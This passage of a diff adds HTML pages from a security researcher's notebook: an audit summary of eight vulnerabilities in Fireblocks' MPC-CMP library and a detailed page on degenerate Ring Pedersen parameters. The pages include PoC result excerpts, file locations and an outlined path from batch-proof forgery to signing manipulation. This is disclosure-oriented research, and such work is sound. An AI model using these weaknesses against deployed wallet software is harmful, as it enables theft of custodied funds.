| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/00-SUMMARY/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Fireblocks MPC-Lib Audit Summary | Zion Boggan"> | |
| + | <meta property="og:description" content="Eight findings against the open-source Fireblocks MPC-CMP implementation, P1-P4."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/00-SUMMARY/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Fireblocks MPC-Lib Audit Summary | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Eight findings against the open-source Fireblocks MPC-CMP implementation, P1-P4."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Fireblocks MPC-Lib Audit Summary","description":"Eight findings against the open-source Fireblocks MPC-CMP implementation, P1-P4.","url":"https://zionboggan.com/security-research-notebook/00-SUMMARY/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Overview</div> | |
| + | <h1>Fireblocks MPC-Lib Audit Summary</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p><strong>Date:</strong> 2026-04-11 | |
| + | <strong>Target:</strong> github.com/fireblocks/mpc-lib (main branch) | |
| + | <strong>Platform:</strong> Bugcrowd | |
| + | <strong>Status:</strong> ALL POCs VERIFIED, AWAITING REVIEW BEFORE SUBMISSION</p> | |
| + | <hr /> | |
| + | <h2>Verified Findings</h2> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>#</th> | |
| + | <th>Finding</th> | |
| + | <th>Severity</th> | |
| + | <th>PoC Status</th> | |
| + | <th>Key Evidence</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td>03</td> | |
| + | <td>8-bit batch verification randomness (type confusion)</td> | |
| + | <td><strong>P2</strong></td> | |
| + | <td><strong>VERIFIED</strong>, forgery proven</td> | |
| + | <td>7/2000 trials pass (0.35%, expected 0.39%)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>02</td> | |
| + | <td>Destructor heap overflow (OPENSSL_cleanse sizeof)</td> | |
| + | <td><strong>P2</strong></td> | |
| + | <td><strong>VERIFIED</strong>, 320 bytes overwritten</td> | |
| + | <td>sizeof(struct)=352 vs sizeof(k.data)=32</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>04</td> | |
| + | <td>Fiat-Shamir truncates proof.A</td> | |
| + | <td><strong>P3</strong></td> | |
| + | <td><strong>VERIFIED</strong>, hash unchanged on upper modification</td> | |
| + | <td>Upper 256 bytes of A unbound in challenge</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>05</td> | |
| + | <td>Integer overflow in quadratic ZKP deser</td> | |
| + | <td><strong>P3</strong></td> | |
| + | <td><strong>VERIFIED</strong>, size check bypassed</td> | |
| + | <td>4.3GB required → passes with 373 bytes</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>08</td> | |
| + | <td>Asymmetric EdDSA unsalted commitment</td> | |
| + | <td><strong>P3</strong></td> | |
| + | <td><strong>VERIFIED</strong>, 10000/10000 collisions</td> | |
| + | <td>Deterministic vs randomized comparison</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>06</td> | |
| + | <td>Unbounded alloca() stack overflow</td> | |
| + | <td><strong>P3</strong></td> | |
| + | <td>Source confirmed</td> | |
| + | <td>Guard present in sibling function, missing here</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>07</td> | |
| + | <td>Missing sig verify offline ECDSA</td> | |
| + | <td><strong>P3</strong></td> | |
| + | <td>Source confirmed</td> | |
| + | <td>Online path verifies, offline does not</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>01</td> | |
| + | <td>Ring Pedersen degenerate params</td> | |
| + | <td><strong>P4</strong></td> | |
| + | <td><strong>VERIFIED</strong>, but NOT exploitable</td> | |
| + | <td>CMP uses verifier’s own params; no attack path</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <hr /> | |
| + | <h2>PoC Results</h2> | |
| + | <h3>Finding 03, Batch Forgery (THE MONEY SHOT)</h3> | |
| + | <pre><code>[3] 5 valid + 1 INVALID proof, gamma_invalid = 0 (forced): | |
| + | Pass rate: 200/200 ← gamma=0 makes ANY invalid proof invisible! | |
| + | ||
| + | [4] 5 valid + 1 INVALID, random 8-bit gamma (realistic attack): | |
| + | Pass rate: 7/2000 = 0.35% (expected: 1/256 = 0.39%) | |
| + | ||
| + | [5] 5 valid + 1 INVALID, gamma ∈ [1,255] (excluding 0): | |
| + | Pass rate: 0/2000 (expect ~0 - gamma=0 excluded) | |
| + | </code></pre> | |
| + | <p><strong>Proven:</strong> When gamma_k=0 (P=1/256), the invalid proof contributes E^0<em>S^0=1 and 0</em>(anything)=0 to the batch equation, completely invisible regardless of proof validity.</p> | |
| + | <h3>Finding 02, Destructor Overflow</h3> | |
| + | <pre><code>sizeof(elliptic_curve256_scalar_t) = 32 (k.data) | |
| + | sizeof(ecdsa_preprocessing_data) = 352 (entire struct) | |
| + | Overflow: 320 bytes past k.data are zeroed by OPENSSL_cleanse | |
| + | </code></pre> | |
| + | <h3>Finding 05, Integer Overflow Size Check Bypass</h3> | |
| + | <pre><code>uint32_t computation: 4 + 9*0x1C71C71D + 2*132 = 273 (OVERFLOWED!) | |
| + | True required size: 4.3 GB | |
| + | proof_len(373) >= expected(273)? YES - BYPASSED! | |
| + | </code></pre> | |
| + | <hr /> | |
| + | <h2>Submission Strategy</h2> | |
| + | <h3>Submit #1: Finding 03 (8-bit batch gamma), Target P1</h3> | |
| + | <ul> | |
| + | <li>Type confusion: <code>uint8_t[16]</code> vs <code>uint64_t[2]</code></li> | |
| + | <li>Developer comments prove intent (“// 40bits”)</li> | |
| + | <li>Batch verification bypass proven mathematically AND empirically</li> | |
| + | <li>Exploitation: 256 signing sessions → range proof bypass → MTA manipulation</li> | |
| + | <li><strong>Full PoC: batch-forgery-proof.cpp + mta-batch-8bit-gamma.cpp</strong></li> | |
| + | </ul> | |
| + | <h3>Submit #2: Finding 02 (destructor overflow), P2/P3</h3> | |
| + | <ul> | |
| + | <li><code>OPENSSL_cleanse(k.data, sizeof(ecdsa_preprocessing_data))</code> overwrites 320 bytes</li> | |
| + | <li>Two instances (ECDSA + EdDSA asymmetric)</li> | |
| + | <li>Memory corruption on every signing cleanup</li> | |
| + | <li><strong>PoC: destructor-overflow-v2.cpp</strong></li> | |
| + | </ul> | |
| + | <h3>Submit #3: Findings 04+05 bundle, P3</h3> | |
| + | <ul> | |
| + | <li>Fiat-Shamir truncation + integer overflow</li> | |
| + | <li>Both have clear PoC demonstrations</li> | |
| + | <li><strong>PoCs: fiat-shamir-truncation.cpp + integer-overflow-bypass-proof.c</strong></li> | |
| + | </ul> | |
| + | <h3>Submit #4: Findings 06+07+08 bundle, P3/P4</h3> | |
| + | <ul> | |
| + | <li>alloca + missing sig verify + unsalted commitment</li> | |
| + | <li>Lower severity but clear bugs</li> | |
| + | </ul> | |
| + | <hr /> | |
| + | <h2>Files</h2> | |
| + | <pre><code>findings/ | |
| + | 00-SUMMARY.md ← This file | |
| + | 01-ring-pedersen-degenerate-params-P4.md | |
| + | 02-destructor-heap-overflow-P2.md | |
| + | 03-mta-batch-verification-8bit-randomness-P2.md | |
| + | 04-fiat-shamir-truncation-mta-P3.md | |
| + | 05-integer-overflow-quadratic-zkp-deser-P3.md | |
| + | 06-alloca-stack-overflow-range-proofs-P3.md | |
| + | 07-offline-ecdsa-no-sig-verify-P3.md | |
| + | 08-eddsa-unsalted-commitment-P3.md | |
| + | ||
| + | poc/ (all compile and run clean) | |
| + | 01-ring-pedersen-degenerate.c → poc-ring-pedersen (in findings dir) | |
| + | 02-destructor-overflow-v2.cpp → poc-destructor-v2 ✅ | |
| + | 03-batch-forgery-proof.cpp → poc-batch-forgery ✅ (MAIN POC) | |
| + | 03-mta-batch-8bit-gamma.cpp → poc-gamma ✅ | |
| + | 03-mta-batch-8bit-gamma.py → python3 script ✅ | |
| + | 04-fiat-shamir-truncation.cpp → poc-fiat-shamir ✅ | |
| + | 05-integer-overflow-bypass-proof.c → poc-overflow-bypass ✅ | |
| + | 08-unsalted-commitment.cpp → poc-unsalted ✅ | |
| + | </code></pre> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/00-SUMMARY.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,237 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Finding 01: Ring Pedersen Accepts Degenerate Parameters (t=1, s=1) | Zion Boggan</title> | |
| + | <meta name="description" content="Ring-Pedersen parameter generation accepts degenerate values."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/01-ring-pedersen-degenerate-params-P4/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Finding 01: Ring Pedersen Accepts Degenerate Parameters (t=1, s=1) | Zion Boggan"> | |
| + | <meta property="og:description" content="Ring-Pedersen parameter generation accepts degenerate values."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/01-ring-pedersen-degenerate-params-P4/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Finding 01: Ring Pedersen Accepts Degenerate Parameters (t=1, s=1) | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Ring-Pedersen parameter generation accepts degenerate values."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Finding 01: Ring Pedersen Accepts Degenerate Parameters (t=1, s=1)","description":"Ring-Pedersen parameter generation accepts degenerate values.","url":"https://zionboggan.com/security-research-notebook/01-ring-pedersen-degenerate-params-P4/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Crypto soundness</div> | |
| + | <h1>Finding 01: Ring Pedersen Accepts Degenerate Parameters (t=1, s=1)</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <h2>Severity: P4 (Low), Code defect, NOT exploitable in CMP protocol</h2> | |
| + | <h2>Exploitation Path: NOT VIABLE</h2> | |
| + | <p>After tracing the full protocol flow through <code>cmp_setup_service.cpp</code> and <code>mta.cpp</code>, the CMP protocol always uses the VERIFIER’s Ring Pedersen parameters for both proof generation and verification. A malicious party choosing <code>t=1, s=1</code> only weakens their own verification of received proofs, providing zero advantage. The honest party always uses their OWN properly-generated Ring Pedersen when verifying the attacker’s proofs.</p> | |
| + | <h2>Summary</h2> | |
| + | <p>The <code>ring_pedersen_parameters_zkp_verify()</code> function accepts <code>t = 1</code> and/or <code>s = 1</code> as valid parameters. The coprime check <code>gcd(n, 1) = 1</code> passes for any <code>n</code>. A trivial ZKP (all <code>A[i] = 1</code>, all <code>z[i] = 0</code>) passes all 128 verification rounds. With these parameters, all Ring Pedersen commitments collapse to the constant 1 regardless of the committed value.</p> | |
| + | <h2>Location</h2> | |
| + | <ul> | |
| + | <li><strong>File:</strong> <code>src/common/crypto/commitments/ring_pedersen.c</code></li> | |
| + | <li><strong>Function:</strong> <code>ring_pedersen_parameters_zkp_verify()</code>, line 756</li> | |
| + | <li><strong>Missing check:</strong> After line 811 (coprime check for s)</li> | |
| + | </ul> | |
| + | <h2>Root Cause</h2> | |
| + | <p>Checks performed: | |
| + | 1. <code>n</code> is not prime (line 800), passes for valid RSA modulus | |
| + | 2. <code>gcd(n, t) = 1</code> (line 806), passes for t=1 | |
| + | 3. <code>gcd(n, s) = 1</code> (line 811), passes for s=1</p> | |
| + | <p>Missing: explicit rejection of <code>BN_is_one(t)</code>, <code>BN_is_one(s)</code>, <code>t == n-1</code>, <code>s == n-1</code></p> | |
| + | <h2>PoC Verified</h2> | |
| + | <p>PoC confirms all 128 ZKP rounds pass with t=s=1, and demonstrates commitment(x,r) = 1 for all x, r.</p> | |
| + | <h2>Remediation</h2> | |
| + | <pre><code class="language-c">if (BN_is_one(pub->t) || BN_is_one(pub->s)) | |
| + | goto cleanup; | |
| + | </code></pre> | |
| + | <h2>References</h2> | |
| + | <ul> | |
| + | <li>CMP-2020 (ePrint 2020/492) Section 3.3: Ring Pedersen parameters must generate the full group</li> | |
| + | </ul> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/fireblocks/01-ring-pedersen-degenerate-params-P4.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,244 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Finding 02: Heap Buffer Overflow in Signing Data Destructors | Zion Boggan</title> | |
| + | <meta name="description" content="Heap overflow in destructor path."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
